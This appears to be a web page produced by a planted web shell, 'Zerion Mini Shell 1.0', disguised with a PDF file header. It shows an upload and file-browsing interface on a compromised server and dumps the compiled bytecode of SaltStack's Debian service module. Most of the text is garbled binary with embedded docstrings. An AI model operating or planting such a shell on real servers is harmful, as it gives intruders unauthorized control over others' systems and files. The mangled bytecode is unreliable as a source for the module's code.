%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/modules/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/modules/debian_service.pyc

�
���^c@@sHdZddlmZmZmZddlZddlZddlZddlZddl	m
ZddlZ
idd6ZdZeje�ZdZd	�Zd
�Zd�Zd�Zd
�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Zd�Z dd�Z"d�Z#d�Z$d�Z%d�Z&d�Z'dS(uM
Service support for Debian systems (uses update-rc.d and /sbin/service)

.. important::
    If you feel that Salt should be using this module to manage services on a
    minion, and it is using a different module (or gives an error similar to
    *'service.start' is not available*), see :ref:`here
    <module-provider-override>`.
i(tabsolute_importtprint_functiontunicode_literalsN(tshlex_quoteureloadureload_userviceu7.0.0cC@s8tddkr*tjjjt�r*tStdfSdS(	u<
    Only work on Debian and when systemd isn't running
    uosuDebianuRaspbianuDevuanu	NILinuxRTu\The debian_service module could not be loaded: unsupported OS family and/or systemd running.N(uDebianuRaspbianuDevuanu	NILinuxRT(t
__grains__tsalttutilstsystemdtbootedt__context__t__virtualname__tFalse(((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pyt__virtual__(s&cG@sft�d}|dkr?dj|ddj|d��}n#dj|ddj|d��}|S(Niu6u/etc/init.d/{0} {1}u iuservice {0} {1}(t_osreltformattjoin(targstosmajortcmd((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pyt_service_cmd3s

&#cC@s2tdd�}d|kr dS|j�dSdS(u&
    returns the current runlevel
    ucmd.runurunleveluunknownu2iN(t__salt__tsplit(tout((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pyt
_get_runlevel<scC@sodjt��}t�}tjdj|��}x/|D]'}|jtj|d|�d�q:Wt|�S(u�
    Return a list of service that are enabled on boot

    CLI Example:

    .. code-block:: bash

        salt '*' service.get_enabled
    u/etc/rc[S{0}].d/Su{0}*u\d+i(RRtsettglobtaddtreRtsorted(tprefixtrettlinestline((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytget_enabledLs
	
%cC@s ttt��tt���S(u�
    Return a set of services that are installed but disabled

    CLI Example:

    .. code-block:: bash

        salt '*' service.get_disabled
    (RRtget_allR!(((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytget_disabled^s
cC@s
|t�kS(u�
    Returns ``True`` if the specified service is available, otherwise returns
    ``False``.

    CLI Example:

    .. code-block:: bash

        salt '*' service.available sshd
    (R"(tname((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pyt	availablekscC@s
|t�kS(u�
    The inverse of service.available.
    Returns ``True`` if the specified service is not available, otherwise returns
    ``False``.

    CLI Example:

    .. code-block:: bash

        salt '*' service.missing sshd
    (R"(R$((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytmissingyscC@sot�}tjd�}x=|D]5}|jd�d}|dkr|j|�qqWt|tt��B�S(uz
    Return all available boot services

    CLI Example:

    .. code-block:: bash

        salt '*' service.get_all
    u
/etc/init.d/*u/etc/init.d/iuREADME(RRRRRR!(RRR tservice((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pyR"�s
	
cC@st|d�}td|�S(u�
    Start the specified service

    CLI Example:

    .. code-block:: bash

        salt '*' service.start <service name>
    ustartucmd.retcode(RR(R$R((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytstart�s
cC@st|d�}td|�S(u~
    Stop the specified service

    CLI Example:

    .. code-block:: bash

        salt '*' service.stop <service name>
    ustopucmd.retcode(RR(R$R((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytstop�s
cC@st|d�}td|�S(u�
    Restart the named service

    CLI Example:

    .. code-block:: bash

        salt '*' service.restart <service name>
    urestartucmd.retcode(RR(R$R((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytrestart�s
cC@st|d�}td|�S(u~
    Reload the named service

    CLI Example:

    .. code-block:: bash

        salt '*' service.reload <service name>
    ureloaducmd.retcode(RR(R$R((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytreload_�s
cC@st|d�}td|�S(u�
    Force-reload the named service

    CLI Example:

    .. code-block:: bash

        salt '*' service.force_reload <service name>
    uforce-reloaducmd.retcode(RR(R$R((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytforce_reload�s
cC@s�|rttd|��Sttjd|��}|rPtjt�|�}n	|g}i}x8|D]0}t|d�}td|dt�||<qfW|r�|S||S(u]
    Return the status for a service.
    If the name contains globbing, a dict mapping service name to True/False
    values is returned.

    .. versionchanged:: 2018.3.0
        The service name can now be a glob (e.g. ``salt*``)

    Args:
        name (str): The name of the service to check
        sig (str): Signature to use to find the service via ps

    Returns:
        bool: True if running, False otherwise
        dict: Maps service name to True if running, False otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.status <service name> [service signature]
    u
status.pidu\*|\?|\[.+\]ustatusucmd.retcodetignore_retcode(	tboolRRtsearchtfnmatchtfilterR"RtTrue(R$tsigtcontains_globbingtservicestresultsR'R((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytstatus�s	
cC@s%tjdt�}|s!t}n|S(Nu	osrelease(Rtgett_DEFAULT_VER(tosrel((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pyR

s	cK@s�t�d}|dkr1djt|��}ndjt|��}y2t|�dkrwdjt|��|}nWn]tk
r�t�}|dks�|dks�|jd	�r�djt|��|}q�nXtd
|dt�S(u�
    Enable the named service to start at boot

    CLI Example:

    .. code-block:: bash

        salt '*' service.enable <service name>
    iu6uupdate-rc.d -f {0} defaults 99uupdate-rc.d {0} enableiuinsserv {0} && utesting/unstableuunstableu/siducmd.retcodetpython_shell(R
Rt
_cmd_quotetintt
ValueErrortendswithRR2(R$tkwargsRRR:((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytenables

 
	' cK@sIt�d}|dkr+dj|�}ndj|�}td|�S(u�
    Disable the named service to start at boot

    CLI Example:

    .. code-block:: bash

        salt '*' service.disable <service name>
    iu6uupdate-rc.d -f {0} removeuupdate-rc.d {0} disableucmd.retcode(R
RR(R$R@RR((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytdisable*s


cK@s
|t�kS(u�
    Return True if the named service is enabled, false otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.enabled <service name>
    (R!(R$R@((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytenabled<s
cC@s
|t�kS(u�
    Return True if the named service is enabled, false otherwise

    CLI Example:

    .. code-block:: bash

        salt '*' service.disabled <service name>
    (R#(R$((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pytdisabledIs
((t__doc__t
__future__RRRtloggingRR0Rtsalt.ext.six.movesRR<tsalt.utils.systemdRt__func_alias__R
t	getLoggert__name__tlogR9RRRR!R#R%R&R"R(R)R*R+R,tNoneR7R
RARBRCRD(((s?/usr/lib/python2.7/site-packages/salt/modules/debian_service.pyt<module>
s>
						
								(				

Zerion Mini Shell 1.0